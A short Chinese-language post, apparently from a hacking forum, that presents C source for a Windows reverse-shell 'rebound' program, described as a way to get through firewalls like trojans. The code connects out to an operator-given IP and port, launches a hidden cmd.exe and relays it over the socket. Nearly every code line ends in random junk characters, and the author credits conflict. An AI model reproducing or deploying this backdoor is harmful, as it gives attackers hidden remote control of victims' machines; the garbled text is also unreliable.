这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 j"&Oa&SH
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/* ============================== pz.fZV
Rebound port in Windows NT ,rhNXx
By wind,2006/7 \JNWL yw
===============================*/ mH'om
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#include VZ2CWE)t
#include i^rHZmT
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#pragma comment(lib,"wsock32.lib") xJFxrG'c
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void OutputShell(); ^YEMR C
SOCKET sClient; =DI/|^j{;
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5J3K3
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void main(int argc,char **argv) a%wa3N=v
{ ?nf4K/IjZ!
WSADATA stWsaData; c2yZvi
int nRet; IY|>'}UU#
SOCKADDR_IN stSaiClient,stSaiServer; hTQ]xN)
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if(argc != 3) vGp`P
{ pAcu{5#7
printf("Useage:\n\rRebound DestIP DestPort\n"); IZxr;\dq6
return;
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} '^.3}N{Fo
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WSAStartup(MAKEWORD(2,2),&stWsaData); s18A
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EL9JM}%0v
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stSaiClient.sin_family = AF_INET; S2$r 6T
stSaiClient.sin_port = htons(0); lq)[
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _(KzjOMt
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @Sz7*p
{ * YTv"
printf("Bind Socket Failed!\n"); 7*47mJyc
return; v0+$d\mP4<
} 2%j"E{J&
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stSaiServer.sin_family = AF_INET; kT&GsR/
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .c _qMTm"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); MNKY J
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) R%;dt<Dh
{ 4zf(
printf("Connect Error!"); =M34
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return; c)17[9"
} _Ns_$_
OutputShell(); WD#7Q&T(;
} NQ\<~a`Eq
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void OutputShell() Br"K{g?
{ qLm
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char szBuff[1024]; 5f#]dgBe
SECURITY_ATTRIBUTES stSecurityAttributes; ?,*KA Gg%
OSVERSIONINFO stOsversionInfo; A)D1
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; s!/Q>A
STARTUPINFO stStartupInfo; +v|]RgyW)
char *szShell; ~a.ei^r
PROCESS_INFORMATION stProcessInformation; &y:SK)
unsigned long lBytesRead; mbO.Kyfen
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =' #yG(h
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rFYw6&;vOi
stSecurityAttributes.lpSecurityDescriptor = 0; hSSFmEpr
stSecurityAttributes.bInheritHandle = TRUE; 0I[3%Q {
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); l\~F0Z/O
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); IHNl`\Le
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); TllIs&MCe
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BW&)Zz
stStartupInfo.wShowWindow = SW_HIDE; $rmfE
stStartupInfo.hStdInput = hReadPipe; VeWvSIP,EQ
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; w:o,mzuXK
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GetVersionEx(&stOsversionInfo); dzyp:\&9
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switch(stOsversionInfo.dwPlatformId) CqbPUcK
{ +(J{~A~
case 1: c~iAjq+c
szShell = "command.com"; |fg{Fpc
break; [f\TnXq24
default: >TZyax<:
szShell = "cmd.exe"; OO`-{HKt
break; 8K0@*0
} e2$k
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); TSAVXng
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send(sClient,szMsg,77,0); xdd;!HK,
while(1) w#\*{EN
{ w-9fskd6e
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); uGH>|V9'c
if(lBytesRead) eNw9"X}g
{ 7Q3a0`Iq
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \1b! I)T9
send(sClient,szBuff,lBytesRead,0); .3yxg}E>{
} "OO"Ab{t
else BX=YS)
{ *FrlzIAom
lBytesRead=recv(sClient,szBuff,1024,0); 1dahVc1W
if(lBytesRead<=0) break; ([a[fi
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); E;Sb
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} iN+Tig?c
} yYM_
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return; |VRzIA4M\
}